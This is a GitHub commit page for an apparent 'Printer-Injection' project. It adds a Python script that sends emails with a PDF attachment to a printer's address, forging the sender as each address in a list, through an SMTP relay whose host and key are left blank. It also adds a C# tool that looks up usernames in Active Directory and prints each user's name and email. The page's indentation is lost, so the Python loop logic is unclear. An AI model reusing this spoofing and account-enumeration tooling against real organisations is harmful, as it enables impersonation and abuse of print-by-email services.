Skip to content

Commit

Permalink
add project files
Browse files Browse the repository at this point in the history
  • Loading branch information
m0riya42 authored Oct 16, 2021
1 parent 728508c commit 1fd0cae
Show file tree
Hide file tree
Showing 4 changed files with 100 additions and 0 deletions.
58 changes: 58 additions & 0 deletions Printer-Injection-project/ORIGINAL_SEND.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
import os.path as op
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import COMMASPACE, formatdate
from email import encoders
from email.mime.text import MIMEText
import smtplib

receiver = [""] #the receiver mail
list = open("list_of_mails.txt", "r")
lines = list.read().split()
for mail in lines:
# print(line)
# print(repr(line))
sender = mail

# list = open("list_of_mails.txt", "r")
# for mail in list:
# #print(mail)
# #print(repr(mail)) #[1:-1]
# sender = mail.rstrip('\n')
# #print(repr(sender)) #[1:-1]
# #print(sender)

# message info
msg = MIMEMultipart()
part = MIMEBase('application', "octet-stream")
part.set_payload(open("scan.pdf", "rb").read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="scan.pdf"')
msg.attach(part)

msg = MIMEMultipart()
msg['From'] = sender
msg['To'] = COMMASPACE.join(receiver)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = "print"
msg['Message-ID'] = ""
part = MIMEBase('application', "pdf")
with open("scan.pdf", 'rb') as file:
part.set_payload(file.read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',
'attachment; filename="{}"'.format(op.basename("scan.pdf")))
part.add_header('X-Attachment-Id', "") #add Id
part.add_header('Content-ID', "") #add Id

msg.attach(part)

with smtplib.SMTP("", 25) as server: # add smtp connection
server.starttls()
server.ehlo()
server.login("apikey","") # add API KEY
server.sendmail(sender, receiver, msg.as_string())
server.quit()
print("mail sent from: " + mail)

print("finished.... ^-^")
42 changes: 42 additions & 0 deletions Printer-Injection-project/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Microsoft.AspNet.Identity;
using System.DirectoryServices.AccountManagement;
using System.DirectoryServices;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{

PrincipalContext l_context;
UserPrincipal l_user;
string ourUser;
try
{

System.IO.StreamReader file = new System.IO.StreamReader(@"users_names.txt");
string docPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);

while ((ourUser = file.ReadLine()) != null)
{
l_context = new PrincipalContext(ContextType.Domain);
l_user = UserPrincipal.FindByIdentity(l_context, IdentityType.SamAccountName, ourUser);
if (l_user.HomeDirectory != null)
{
Console.WriteLine(l_user.DisplayName + " " + l_user.EmailAddress);
}
}
}
catch (IOException e)
{
Console.WriteLine("The file could not be read:");
Console.WriteLine(e.Message);
}
}
}
}
Binary file added Printer-Injection-project/printer_injection.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added Printer-Injection-project/variables.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit 1fd0cae

Please sign in to comment.